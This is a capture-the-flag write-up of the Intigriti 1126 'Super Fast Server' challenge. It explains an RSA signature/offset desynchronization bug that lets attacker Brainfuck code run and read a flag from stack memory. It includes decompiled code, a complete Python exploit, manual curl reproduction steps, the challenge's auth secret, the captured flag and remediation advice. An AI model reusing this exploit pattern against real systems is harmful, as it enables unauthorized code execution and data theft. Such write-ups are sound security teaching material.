CTF SOLVED // INTIGRITI CHALLENGE 1126 // SUPER FAST SERVER // EDUCATIONAL WRITE-UP BY @B0DRE
* INTIGRITI 1126 / SUPER FAST SERVER
INTIGRITI-1126 // CONFIDENTIAL EMBARGO ACTIVE
[!] ACCESS RESTRICTED LIVE CTF IN PROGRESS SUPER FAST SERVER

Intigriti Challenge 1126: RSA Signature Desync & Arbitrary Memory Read

Complete Technical Write-up · Ghidra Decompilation · PoC Script · Flag

REAL-TIME AUTOMATIC DISCLOSURE (UTC):

--
:
--
:
--

Official Release Schedule: Monday, November 23, 2026 — 23:59:59 UTC

// RESPONSIBLE DISCLOSURE & FAIR PLAY POLICY:

To safeguard the competitive integrity of the monthly Intigriti CTF while the target infrastructure is live, full write-ups, exploit chains and flags remain under strict embargo.

INTIGRITI MONTHLY CTF / NOVEMBER 2026 / STEP-BY-STEP WRITE-UP

Super Fast Server: RSA Signature Desync & Arbitrary Memory Read.

The target evaluates Brainfuck code guarded by an RSA-2048 digital signature. However, a desynchronization between the cryptographic hash boundary and the execution entry offset allows unauthenticated arbitrary Brainfuck execution and extraction of the secret flag stored in thread stack memory.

CTF SOLVED CRYPTO DESYNC BRAINFUCK ARBITRARY RUN INTIGRITI 1126

// 00. EXECUTIVE SUMMARY & TL;DR

The Exploit Chain in One Paragraph

Without omitting steps or making assumptions: what the server does, where it breaks, and how the flag is leaked.

The server executes Brainfuck code received over a custom binary protocol, but strictly requires an RSA-2048 digital signature. The signature covers CODE || DATA in a single continuous hashed buffer, but the interpreter is started at the offset of the last DATA command sent. By sending two consecutive DATA commands of identical length (424 bytes):

Memory Layout During Execution Offset Desynchronization: code_buffer (Server Memory) +--------------------+-------------------------+-------------------------+ | CODE Frame | DATA Frame #1 | DATA Frame #2 | | Interpreter (396 B)| Signed Author Code(424B)| Attacker Payload (424 B)| +--------------------+-------------------------+-------------------------+ ^ ^ |----------- HASHED REGION: 820 BYTES --------| Interpreter Entry Point | SHA256(CODE || DATA 1) == RSA SIG | (Attacker Payload Runs!)

// 01. RECONNAISSANCE & ARCHITECTURE

Discovering the Binary and the Hidden Service

Uncovering the challenge architecture from the initial web landing page.

The challenge web interface contains static pages: login.html, signup.html, changelog.html, documentation.html, and robots.txt. HTTP response headers advertise:
x-powered-by: superfastserver Version 2.0.0

Inside documentation.html, a developer note provides a decisive clue:

Documentation Hint: "DON'T run the server binary in the PWD".
This indicates that the server executable itself is hosted in the public web root directory.

Following Intigriti's rules of engagement (mandatory research header X-Intigriti-Research: [@b0dre]), we download the binary:

curl -sS -H 'X-Intigriti-Research: [@b0dre]' \
     -o superfastserver https://challenge-1126.challenges.intigriti.io/superfastserver
    

Initial Binary Inspection

The web server acts as a reverse proxy: any raw binary body sent via POST /custom_protocol is tunneled directly through a TCP socket to an internal daemon listening on 127.0.0.1:5001, returning whatever the daemon responds after a ~2 second interval.

// 02. CUSTOM BINARY PROTOCOL & RSA CRYPTO

Frame Specifications and Cryptographic Verification

Reverse engineering the state machine of the internal service on port 5001.

Every interaction with port 5001 starts with sending the exact 106 bytes of the handshake authentication secret (raw ASCII, no headers). The server replies with ACK\0 (4 bytes).

Command Frame Layout

Subsequent commands must be packaged in structured binary frames:

+--------+--------------------------+-------------------+----------------------+ | 'w' | size (4B u32 Little-End) | tag (4B ASCII) | payload (size bytes) | +--------+--------------------------+-------------------+----------------------+ 0 1 5 9 9+size
Command Tag Hex Tag Daemon Processing Function
CODE 0x45444f43 Allocates an executable memory page (mmap with PROT_READ|PROT_EXEC) and loads the 396-byte Brainfuck interpreter bytecode. Replies ACK\0.
DATA 0x41544144 Loads Brainfuck code. Sets data_offset to current buffer position and data_size to frame length. Replies ACK\0.
SIGN 0x4e474953 Loads the 256-byte RSA-2048 digital signature. Replies ACK\0.
EXEC 0x43455845 Computes SHA-256, verifies RSA signature against author's public key, and executes the interpreter. Does not reply with ACK; it outputs the executed program's output.
HELP 0x504c4548 Returns an embedded sample script pre-signed by the challenge author.

Carving the Author's Pre-Signed Script from the Binary

The response to HELP is embedded verbatim within the superfastserver binary at file offset 0x89D0 (1,112 bytes). From this block, we carve the 3 legitimate components:

Mathematical RSA Verification in Python

The RSA public modulus ($n$) is present as an ASCII hex string beginning with C9A3944A... ($e = 65537$). A valid PKCS#1 v1.5 block decrypts to:
00 01 FF FF ... FF 00 || SHA256(code || signed_data)

import hashlib, re

binary = open('superfastserver', 'rb').read()
blob = binary[0x89D0:0x89D0 + 0x458]
code, sdata, sig = blob[9:405], blob[414:838], blob[847:1103]

n_hex = re.search(rb'C9A3944A[0-9A-F]{400,}', binary).group(0)
n = int(n_hex, 16)

# Decrypt RSA block: m = (sig ^ e) mod n
decrypted = pow(int.from_bytes(sig, 'big'), 65537, n).to_bytes(256, 'big')

# Expected PKCS#1 v1.5 padded digest:
digest = hashlib.sha256(code + sdata).digest()
expected = b'\x00\x01' + b'\xff' * (256 - 3 - 32) + b'\x00' + digest

assert decrypted == expected
print("[+] Author RSA signature is mathematically verified!")
    

// 03. VULNERABILITY ANALYSIS

The Offset Desynchronization Bug in EXEC

Decompiled C examination in Ghidra revealing the state machine flaw.

Examining the command processing loop in the decompiled server code (dump.c), the vulnerability is immediately apparent:

Ghidra Decompilation — Command Dispatcher for DATA & EXEC
// Upon receiving DATA frame (0x41544144):
local_4a8 = local_24d0;         // data_offset = current buffer index!
local_4b0 = (ulong)local_80;    // data_size = size of this frame
send(fd, &ACK_BYTES, 4, 0);

// Upon receiving EXEC frame (0x43455845):
// 1. Compute SHA-256 hash starting at code_offset for length (code_size + data_size):
FUN_00105a00(local_24c8 + local_498, local_4a0 + local_4b0, local_25f8);

// 2. Compare hash against decrypted RSA signature:
local_280c = FUN_001044b0(&local_26fc, local_2808, 0x800, local_24c8 + local_4b8, local_26f8);
if ((local_280c == 0x20) && (memcmp(local_26f8, local_25f8, 0x20) == 0)) {
    // 3. VM INVOCATION:
    // Param 1: code_buffer + data_offset (points to the LAST DATA frame received!)
    // Param 2: thread stack tape pointer FS-0x160
    // Param 3: socket send callback FUN_00105c30
    (*local_4c8)(local_24c8 + local_4a8, *in_FS_OFFSET + -0x160, FUN_00105c30);
}

The Exploit Mechanism (Step-by-Step)

  1. We send the CODE frame (396 bytes).
  2. We send DATA #1 containing the author's legitimate signed program (424 bytes). The server records data_offset = 396 and data_size = 424.
  3. We immediately send DATA #2 containing our custom Brainfuck payload, padded to exactly 424 bytes. The server appends it, advancing data_offset = 820 while setting data_size = 424.
  4. We send the SIGN frame with the author's legitimate signature.
  5. We trigger EXEC:
    • The server computes SHA-256 over code_size + data_size = 396 + 424 = 820 bytes.
    • Bytes 0 to 819 strictly contain CODE and DATA #1. The hash matches the RSA signature perfectly!
    • The server invokes the VM engine at code_buffer + data_offset (byte 820), where DATA #2 begins!

Result: Arbitrary Brainfuck execution without knowledge of the RSA private key.

// 04. RAW SERVER RESPONSE ANALYSIS

Breaking Down the Response (Hex Dump)

Comprehensive byte-by-byte breakdown of the 101-byte raw server response into 6 logical blocks.

The raw server response contains exactly 101 bytes (20 bytes of protocol acknowledgments followed by 81 bytes emitted by our program). To see precisely where the flag comes from, we split the response into 6 distinct blocks: 5 acknowledgments (ACK\0) and one final block containing the executed program's output.

Blocks 1–5 — The Acknowledgments (ACK\0)

Each frame we send gets confirmed by the server with 4 bytes: the ASCII letters ACK followed by a null byte (\0) terminator:

Block Offset Hex Bytes ASCII Translation Confirmed Frame
Block 1 0x00 - 0x03 41 43 4b 00 A C K \0 Initial Handshake Secret
Block 2 0x04 - 0x07 41 43 4b 00 A C K \0 CODE frame (interpreter)
Block 3 0x08 - 0x0b 41 43 4b 00 A C K \0 DATA #1 frame (legitimate signed program)
Block 4 0x0c - 0x0f 41 43 4b 00 A C K \0 DATA #2 frame (our injected program)
Block 5 0x10 - 0x13 41 43 4b 00 A C K \0 SIGN frame (signature)
Why is there no sixth ACK for EXEC?
The EXEC frame is not acknowledged with an ACK\0; it directly triggers execution of the loaded Brainfuck program. Any bytes returned from that point forward originate from the program itself.

Block 6 — The Program's Output (the Flag)

Starting at byte 20 (offset 0x14), there are no more ACKs. What follows is what our program printed after reading 81 bytes of stack memory:

Offset 0x14 to 0x42 (45 Flag characters): 49 4e 54 49 47 52 49 54 49 7b 34 63 30 35 33 32 61 39 2d 66 31 36 39 2d 34 61 35 64 2d 61 65 30 32 2d 61 38 62 30 36 37 31 64 32 62 30 37 7d Offset 0x43 to 0x64 (Remaining 36 null bytes of the 81-byte read): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...

Translating byte-by-byte into ASCII:

Hex 494e544947524954497b...7d
ASCII INTIGRITI{...}

Concatenating the whole string gives us the flag:

INTIGRITI{4c0532a9-f169-4a5d-ae02-a8b0671d2b07}

Why This Block Is the Flag and Not Memory Noise

Full Response Structure Diagram

[ACK\0][ACK\0][ACK\0][ACK\0][ACK\0][ INTIGRITI{4c0532a9-f169-4a5d-ae02-a8b0671d2b07}\0\0... ] ↑ ↑ ↑ ↑ ↑ ↑ Hand- CODE DATA 1 DATA 2 SIGN Output of the executed program shake (Memory disclosure)

// 05. EXPLOITATION & REPRODUCTION

The Brainfuck Payload & Step-by-Step Reproduction

Walkthrough for both automated Python scripting and 100% manual shell commands.

Designing the Brainfuck Payload

In Brainfuck, > moves the memory pointer forward and . emits the current cell to the socket via the server's send() callback.
The VM tape pointer starts at FS-0x160, and the flag was loaded into FS-0x60:
0x160 - 0x60 = 0x100 = 256 cells to traverse.

# 1. Advance pointer 256 cells to reach the flag buffer:
program = b'>' * 256

# 2. Print and advance for 81 consecutive bytes:
program += b'.>' * 81

# 3. Pad with spaces (harmless no-ops in Brainfuck) to exactly 424 bytes:
#    (The size MUST be 424 bytes so code_size + data_size remains 820 bytes)
program = program.ljust(424, b' ')
    
sfs/exploit.py (Automated Python PoC) · Python 3 Standard Library
#!/usr/bin/env python3
"""
Intigriti Challenge 1126 - Super Fast Server Exploit
Researcher: Wilson Lora Bodré (@b0dre)
"""
import hashlib, re, sys, urllib.request

HOST = "challenge-1126.challenges.intigriti.io"
PROTOCOL_URL = f"https://{HOST}/custom_protocol"
HEADERS = {"X-Intigriti-Research": "[@b0dre]", "Content-Type": "application/octet-stream"}
AUTH = b"SUPER_SECRET_CHALLENGE_AUTH_CODE_THAT_CANT_BE_BRUTE_FORCED_1337_INTIGRITI_341465b5b427f6e7c2125b300a74a033"

def frame(tag: bytes, payload: bytes) -> bytes:
    """Builds protocol frame: 'w' + little_endian_size_u32 + 4B_tag + payload"""
    return b'w' + len(payload).to_bytes(4, 'little') + tag + payload

def main():
    # Step 1: Read the server binary
    binary = open("superfastserver", "rb").read()

    # Step 2: Carve pre-signed author components from HELP offset (0x89D0)
    blob = binary[0x89D0:0x89D0 + 0x458]
    code = blob[9:9 + 396]                     # Brainfuck VM engine (396 B)
    signed_data = blob[405 + 9:405 + 9 + 424]  # Legitimate signed code (424 B)
    signature = blob[838 + 9:838 + 9 + 256]    # Legitimate RSA signature (256 B)

    # Step 3: Build Brainfuck payload (256 forward moves + 81 outputs)
    program = (b'>' * 256 + b'.>' * 81).ljust(424, b' ')

    # Step 4: Assemble exploit body with duplicate DATA frame
    body = (
        AUTH
        + frame(b'CODE', code)
        + frame(b'DATA', signed_data)  # DATA 1: Validates the RSA hash
        + frame(b'DATA', program)      # DATA 2: Receives execution control
        + frame(b'SIGN', signature)    # SIGN: Validates CODE + DATA 1
        + frame(b'EXEC', b'')          # EXEC: Triggers execution of DATA 2
    )

    print(f"[*] Transmitting exploit payload ({len(body)} bytes)...")
    req = urllib.request.Request(PROTOCOL_URL, data=body, headers=HEADERS)
    resp = urllib.request.urlopen(req, timeout=30).read()

    # Step 5: Carve the flag from response
    flag = re.search(rb'INTIGRITI\{[^}]+\}', resp)
    if flag:
        print(f"\n[+] FLAG CAPTURED SUCCESSFULLY: {flag.group(0).decode()}\n")
    else:
        print("[-] Flag not found in server response.")

if __name__ == "__main__":
    main()
Live execution output: [+] FLAG CAPTURED SUCCESSFULLY: INTIGRITI{4c0532a9-f169-4a5d-ae02-a8b0671d2b07}

Manual Step-by-Step Shell Reproduction (`curl`)

Step 1: Download Server Binary

curl -sS -H 'X-Intigriti-Research: [@b0dre]' -o superfastserver https://challenge-1126.challenges.intigriti.io/superfastserver

Step 2: Carve Embedded Signed Pieces

python3 -c "b=open('superfastserver','rb').read()[0x89D0:0x89D0+0x458]; open('code.bin','wb').write(b[9:405]); open('sdata.bin','wb').write(b[414:838]); open('sig.bin','wb').write(b[847:1103])"

Step 3: Build Exploit Binary Package

python3 -c "
auth = b'SUPER_SECRET_CHALLENGE_AUTH_CODE_THAT_CANT_BE_BRUTE_FORCED_1337_INTIGRITI_341465b5b427f6e7c2125b300a74a033'
payload = (b'>' * 256 + b'.>' * 81).ljust(424, b' ')
def f(t, d): return b'w' + len(d).to_bytes(4, 'little') + t + d
body = auth + f(b'CODE', open('code.bin','rb').read()) + f(b'DATA', open('sdata.bin','rb').read()) + f(b'DATA', payload) + f(b'SIGN', open('sig.bin','rb').read()) + f(b'EXEC', b'')
open('body.bin', 'wb').write(body)
"
    

Step 4: Transmit Exploit via `curl`

curl -sS -H 'X-Intigriti-Research: [@b0dre]' -H 'Content-Type: application/octet-stream' --data-binary @body.bin -o resp.bin https://challenge-1126.challenges.intigriti.io/custom_protocol

Step 5: Extract Flag

grep -ao 'INTIGRITI{[^}]*}' resp.bin
# Output: INTIGRITI{4c0532a9-f169-4a5d-ae02-a8b0671d2b07}

// 06. ARTIFACTS & LABORATORY

Complete Laboratory Package Download

Target binary, exploit harness, carved buffers, and documentation.

Download Laboratory Archive (.ZIP)

Package: intigriti-challenge-1126.zip (123 KB)
SHA-256: 0f9cd64b86448e802e2b9492e63aaf796825f0a57a01babf2ef15c42f007ad60

Download Lab ZIP ↓

Defensive Remediation & Mitigation

  1. Enforce Single-Assignment Invariants: The protocol state machine must reject multiple DATA or CODE frames within a single session, or reset all verification state upon receiving duplicate frames.
  2. Atomic Verification-to-Execution Binding: The execution pointer must be mathematically bound to the verified slice bounds rather than an unconstrained parser variable.
  3. Prevent Binary Exposure: Strip public access to executable binaries and debug symbols on web servers to prevent offline reverse engineering of static keys and offsets.